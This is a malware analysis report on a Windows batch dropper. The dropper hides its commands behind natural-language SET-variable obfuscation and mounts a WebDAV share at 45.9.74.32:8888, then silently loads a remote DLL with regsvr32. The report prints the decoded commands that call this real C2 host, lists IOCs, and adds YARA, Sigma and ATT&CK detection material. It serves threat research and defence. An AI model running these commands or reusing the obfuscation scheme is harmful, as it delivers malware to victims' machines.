5e170f1b52640886b343eddcda9a15050af0b1dec15b2d58ce3bb28d0968d249unclassified-js-webdav-dropper: 5e170f1b — natural-language SET batch, WebDAV C2 45.9.74.32:8888, payload 209221036312347.dll, goto basketball
Executive Summary. Fifty-third confirmed sibling of the unclassified-js-webdav-dropper family. A 8.9 KB pure batch dropper using 36-entry natural-language SET variable-expansion obfuscation to hide a net use + regsvr32 /s WebDAV execution chain against 45.9.74.32:8888. Decoy is start wordpad (no color f0 background change observed in this variant). PowerShell -WindowStyle Hidden wrapper present. Leading word-salad padding (~44 lines of English noise before :basketball label). Static-only (batch script, not a binary).
What It Is
- File type: ASCII text batch script, CRLF line endings, 95 lines, 8,922 bytes ^[file.txt]
- Filename:
1141086681404013061.bat^[triage.json] - Family: unclassified-js-webdav-dropper — high-confidence sibling (53rd confirmed). Same execution engine as
ffd5d894,e11665cf,dac5e0ee,b2a097ba,b32ea531,976dc607,9bea44f4,a1b6e36f,682bea06,6e5e5715,509090e9, and4f20ce5f. - Obfuscation dialect: Natural-language
SETvariable expansion (36 variables on a single&&-chained line). Variable names are grammatically coherent three-word English phrases (e.g.mysteriousrecordattack,aquaticlinerock,foregoingfaultypigs). ^[strings.txt:46] - Novel label:
goto basketball/:basketball— first observed label in this family. Prior siblings used:signal,:wind,:quarrelsome,:drunk,:minister,:tax, and others. ^[strings.txt:1] ^[strings.txt:45] - Anti-analysis: None. No debugger checks, no VM detection, no time-bombs, no connectivity verification. ^[strings.txt]
How It Works
- Word-salad padding (~44 lines of unrelated English phrases) precedes the
:basketballlabel. These lines are no-ops that pad file size and break simple string-matching. ^[strings.txt:1-44] - Variable assignment (line 46): 36
SETcommands chained with&&on a single line, each mapping a natural-language phrase to one character or digit. The character set covers the full payload alphabet plus digits. ^[strings.txt:46] - Expansion & execution (lines 47-49): Three lines of
%VAR%expansion decode to:
^[strings.txt:47-49]start wordpad cmd /k net use \\45.9.74.32@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.32@8888\davwwwroot\209221036312347.dll start powershell.exe -WindowStyle Hidden cmd /k net use \\45.9.74.32@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.32@8888\davwwwroot\209221036312347.dll exit 0.dll - WebDAV mount via
net useon\\45.9.74.32@8888\davwwwroot\. ^[strings.txt:49] - Silent DLL registration via
regsvr32 /son the remote payload209221036312347.dll. ^[strings.txt:49] - Decoy
start wordpadopens WordPad to occupy the user. Notably absent: thecolor f0(white-on-black console background change) seen in most prior natural-language batch siblings. ^[strings.txt:47] - PowerShell hidden wrapper spawns the same
net use+regsvr32chain insidepowershell.exe -WindowStyle Hidden, providing a second execution path and obfuscating parent-child telemetry. ^[strings.txt:49]
C2 Infrastructure
| Indicator | Value | Provenance |
|---|---|---|
| C2 IP | 45.9.74.32:8888 |
Decoded batch line 3 ^[strings.txt:49] |
| WebDAV path | \\45.9.74.32@8888\davwwwroot\ |
Decoded batch line 3 ^[strings.txt:49] |
| Payload DLL | 209221036312347.dll |
Decoded batch line 3 ^[strings.txt:49] |
| Execution | regsvr32 /s (silent registration) |
Decoded batch line 3 ^[strings.txt:49] |
| Decoy | start wordpad |
Decoded batch line 2 ^[strings.txt:47] |
C2 overlap: 45.9.74.32:8888 is the second-most frequent IP in this family (after 45.9.74.36:8888). Previously observed in e777fd64, ed6b2cd3, c6e24c16, ceacabb4, d36d84f2, dc9b0407, and 563db970 (all batch variants using rundll32 ... ,entry execution). This sample shifts the same IP to regsvr32 /s execution instead of rundll32, and drops the rundll32-era color f0 decoy.
Interesting Tidbits
- Simplified decoy: Every prior natural-language batch sibling on
45.9.74.36:8888usedcolor f0 && start wordpad. This sample (first on45.9.74.32:8888in the natural-language batch dialect) dropscolor f0, leaving onlystart wordpad. ^[strings.txt:47] - Label novelty:
:basketballis the first sports-themed label in the family. Prior labels were adjectives, nouns, or abstract concepts (:signal,:wind,:quarrelsome,:drunk,:minister,:tax). This suggests the builder randomly selects from a large English word pool. ^[strings.txt:45] - Padding volume: ~44 lines (~4.2 KB) of word-salad padding sits between the
gotoand the:basketballlabel. Mid-sized: more than563db970(zero padding) but far less thana1b6e36f(~185 lines / ~16 KB). ^[strings.txt:1-44] - Three-line execution footprint: The actual malicious logic occupies only 3 lines (47-49). The rest is noise. ^[strings.txt:47-49]
- DLL payload name:
209221036312347.dll— 15 digits, no obvious timestamp or phone-number pattern. Family payload filenames are consistently 10-17 digit strings. ^[strings.txt:49] exit 0.dllartifact: The decoded third line ends withexit 0.dll— the0is the exit code,.dllis a trailing artifact from%distanceintroducepack%%merebadwary%%merebadwary%decoding tod.dllwheredwas already consumed earlier. This is a recurring decoder bug in this family’s batch builder: trailing characters leak when the payload string length is not an exact multiple of the variable-name coverage. Harmless —exit 0still terminates the batch, and.dllis ignored as an invalid command. ^[strings.txt:49]
Deployable Signatures
YARA Rule
rule UnclassifiedJSWebDAVDropper_NaturalLanguageSET_Batch {
meta:
description = "WebDAV dropper batch script using natural-language SET variable expansion"
author = "PacketPursuit"
reference = "raw/analyses/5e170f1b52640886b343eddcda9a15050af0b1dec15b2d58ce3bb28d0968d249"
family = "unclassified-js-webdav-dropper"
date = "2026-07-11"
strings:
$set_chain = "&&set" nocase
$net_use = "net use" nocase
$dav = "davwwwroot" nocase
$regsvr32 = "regsvr32 /s" nocase
$ps_hidden = "-WindowStyle Hidden" nocase
$wordpad = "start wordpad" nocase
$goto_label = /goto [a-z]+\r\n/ nocase
condition:
$set_chain and $net_use and $dav and ($regsvr32 or $ps_hidden) and filesize < 20KB
}
Sigma Rule
title: WebDAV DLL Registration via Batch Script - Natural Language SET Obfuscation
logsource:
category: process_creation
product: windows
detection:
selection_cmd:
CommandLine|contains:
- 'net use'
- 'davwwwroot'
selection_exec:
CommandLine|contains:
- 'regsvr32 /s'
- 'rundll32'
selection_ps:
CommandLine|contains:
- 'powershell.exe -WindowStyle Hidden'
- 'powershell.exe -windowstyle hidden'
condition: selection_cmd and (selection_exec or selection_ps)
falsepositives:
- Legitimate administrative WebDAV mounting
level: high
IOC List
| Type | Value | Context |
|---|---|---|
| SHA-256 | 5e170f1b52640886b343eddcda9a15050af0b1dec15b2d58ce3bb28d0968d249 |
Batch dropper |
| C2 IP:Port | 45.9.74.32:8888 |
WebDAV host |
| WebDAV UNC | \\45.9.74.32@8888\davwwwroot\ |
Mount point |
| Payload | 209221036312347.dll |
Remote DLL |
| Execution | regsvr32 /s |
Silent registration |
| Decoy | start wordpad |
User distraction |
| PowerShell flag | -WindowStyle Hidden |
Window hiding |
Behavioral Fingerprint
This batch script opens by executing 40-50 lines of irrelevant English word-salad, then jumps to a : label (basketball in this sample, but any lowercase word). At the label, a single line chains 30-40 SET commands with &&, each assigning a natural-language phrase to one character. The next 3 lines expand these variables to produce: (1) start wordpad as a decoy, (2) cmd /k net use \\IP@8888\davwwwroot\ ; regsvr32 /s \\IP@8888\davwwwroot\<digits>.dll, and optionally (3) start powershell.exe -WindowStyle Hidden with the same WebDAV + regsvr32 chain. No sandbox gate, no persistence, no error handling. The script exits immediately after spawning the payload.
Detection Signatures
| Tactic | Technique | Evidence |
|---|---|---|
| Execution | T1059.003 (Windows Command Shell) | cmd /k net use ... ; regsvr32 /s ... ^[strings.txt:48] |
| Execution | T1059.001 (PowerShell) | powershell.exe -WindowStyle Hidden wrapper ^[strings.txt:49] |
| Execution | T1218.010 (Regsvr32) | regsvr32 /s \\45.9.74.32@8888\davwwwroot\209221036312347.dll ^[strings.txt:49] |
| Defense Evasion | T1218 (System Binary Proxy Execution) | regsvr32 and powershell.exe proxy execution ^[strings.txt:49] |
| Defense Evasion | T1036.005 (Match Legitimate Name or Location) | wordpad decoy reinforces legitimacy ^[strings.txt:47] |
| Defense Evasion | T1027 (Obfuscated Files or Information) | Natural-language SET variable expansion ^[strings.txt:46] |
| Command & Control | T1071.001 (Web Protocols) | WebDAV over HTTP (\\45.9.74.32@8888\DavWWWRoot\) ^[strings.txt:49] |
| Command & Control | T1105 (Ingress Tool Transfer) | net use mounts share; regsvr32 loads remote DLL ^[strings.txt:49] |
References
- Artifact ID:
45b2ff69-1d44-4577-8249-180c0d8596d2 - Source: MalwareBazaar via OpenCTI
urlhaus-recent-payloadsconnector - Family entity: unclassified-js-webdav-dropper
- Technique: batch-powershell-variable-expansion-obfuscation
- Technique: webdav-regsvr32-dll-sideloading
Provenance
file.txt—filev5.45, identifies as ASCII text with CRLFstrings.txt—stringsv2.42, full text extractionexiftool.json— ExifTool 12.76, line/word countstriage.json— triage-fast pipeline, 2026-05-26dynamic-analysis.md— CAPE skipped (text file, not a binary)- Manual batch decoding performed by variable substitution in this report